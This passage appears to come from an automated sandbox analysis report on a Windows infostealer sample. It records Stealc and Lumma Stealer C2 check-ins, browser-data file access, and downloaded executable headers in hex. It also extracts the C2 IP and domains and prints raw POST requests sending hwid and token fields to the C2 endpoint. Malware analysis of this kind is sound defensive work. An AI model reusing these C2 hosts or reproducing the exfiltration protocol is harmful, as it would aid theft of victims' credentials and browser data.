Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA0BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	13_2_6CA0BD30
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9C7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	13_2_6C9C7D60
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA09EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	13_2_6CA09EC0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9E3FF0 PK11_PrivDecryptPKCS1,	13_2_6C9E3FF0
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9E3850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	13_2_6C9E3850
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9E9840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	13_2_6C9E9840
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6CA0DA40 SEC_PKCS7ContentIsEncrypted,	13_2_6CA0DA40
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Code function: 13_2_6C9E3560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	13_2_6C9E3560

Source: V65xPrgEHH.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49790 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3140681811.000000006FD5D000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.13.dr, mozglue[1].dll.13.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.13.dr, freebl3[1].dll.13.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.13.dr, freebl3[1].dll.13.dr
Source:	Binary string: nss3.pdb@ source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.13.dr, nss3.dll.13.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.13.dr, softokn3.dll.13.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.13.dr, vcruntime140[1].dll.13.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.13.dr, msvcp140[1].dll.13.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe, 00000009.00000002.2606186458.0000000000662000.00000040.00000001.01000000.00000006.sdmp, KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe, 00000009.00000003.2471386157.0000000004960000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.13.dr, nss3.dll.13.dr
Source:	Binary string: mozglue.pdb source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3140681811.000000006FD5D000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.13.dr, mozglue[1].dll.13.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.13.dr, softokn3.dll.13.dr

Source: C:\Users\user\Desktop\V65xPrgEHH.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 31MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49812 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49812 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49812
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49812 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49812
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49812 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49716 -> 104.21.2.110:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49716 -> 104.21.2.110:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49720 -> 104.21.2.110:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49714 -> 104.21.2.110:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49714 -> 104.21.2.110:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49768 -> 104.21.2.110:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 09:08:45 GMTContent-Type: application/octet-streamContent-Length: 1782272Last-Modified: Tue, 17 Dec 2024 08:54:10 GMTConnection: keep-aliveETag: "67613c32-1b3200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 46 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 47 00 00 04 00 00 53 11 1c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2b 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 70 68 6e 75 74 61 72 00 e0 1a 00 00 e0 2b 00 00 d2 1a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6e 6d 61 63 65 73 62 00 20 00 00 00 c0 46 00 00 04 00 00 00 0c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 46 00 00 22 00 00 00 10 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 09:08:49 GMTContent-Type: application/octet-streamContent-Length: 2859008Last-Modified: Tue, 17 Dec 2024 08:55:47 GMTConnection: keep-aliveETag: "67613c93-2ba000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 d0 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 4f 00 00 04 00 00 dd dd 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 04 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 74 6f 61 75 75 6b 78 00 00 2a 00 00 c0 24 00 00 fa 29 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 69 6b 73 67 67 6b 73 00 10 00 00 00 c0 4e 00 00 06 00 00 00 78 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4e 00 00 22 00 00 00 7e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 17 Dec 2024 09:09:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 32 31 36 38 46 46 36 41 41 34 32 39 33 36 30 35 30 34 37 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="hwid"DA2168FF6AA42936050476------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="build"stok------DGHJECAFIDAFHJKFCGHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 63 34 62 38 39 39 36 33 34 62 64 37 34 64 62 39 31 37 66 31 65 63 33 61 39 64 31 64 39 66 33 37 37 64 30 36 31 65 39 39 37 61 37 63 61 63 34 62 65 32 37 61 64 64 65 37 37 62 36 66 31 65 38 32 66 32 65 32 66 64 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 2d 2d 0d 0a Data Ascii: ------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="token"8c4b899634bd74db917f1ec3a9d1d9f377d061e997a7cac4be27adde77b6f1e82f2e2fd2------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="message"browsers------BFHJECAAAFHIJKFIJEGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIIJJJDGCBAAKFIIECGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 63 34 62 38 39 39 36 33 34 62 64 37 34 64 62 39 31 37 66 31 65 63 33 61 39 64 31 64 39 66 33 37 37 64 30 36 31 65 39 39 37 61 37 63 61 63 34 62 65 32 37 61 64 64 65 37 37 62 36 66 31 65 38 32 66 32 65 32 66 64 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 2d 2d 0d 0a Data Ascii: ------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="token"8c4b899634bd74db917f1ec3a9d1d9f377d061e997a7cac4be27adde77b6f1e82f2e2fd2------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="message"plugins------KFIIJJJDGCBAAKFIIECG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHJEBFBFHJECAKFCAAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 63 34 62 38 39 39 36 33 34 62 64 37 34 64 62 39 31 37 66 31 65 63 33 61 39 64 31 64 39 66 33 37 37 64 30 36 31 65 39 39 37 61 37 63 61 63 34 62 65 32 37 61 64 64 65 37 37 62 36 66 31 65 38 32 66 32 65 32 66 64 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 2d 2d 0d 0a Data Ascii: 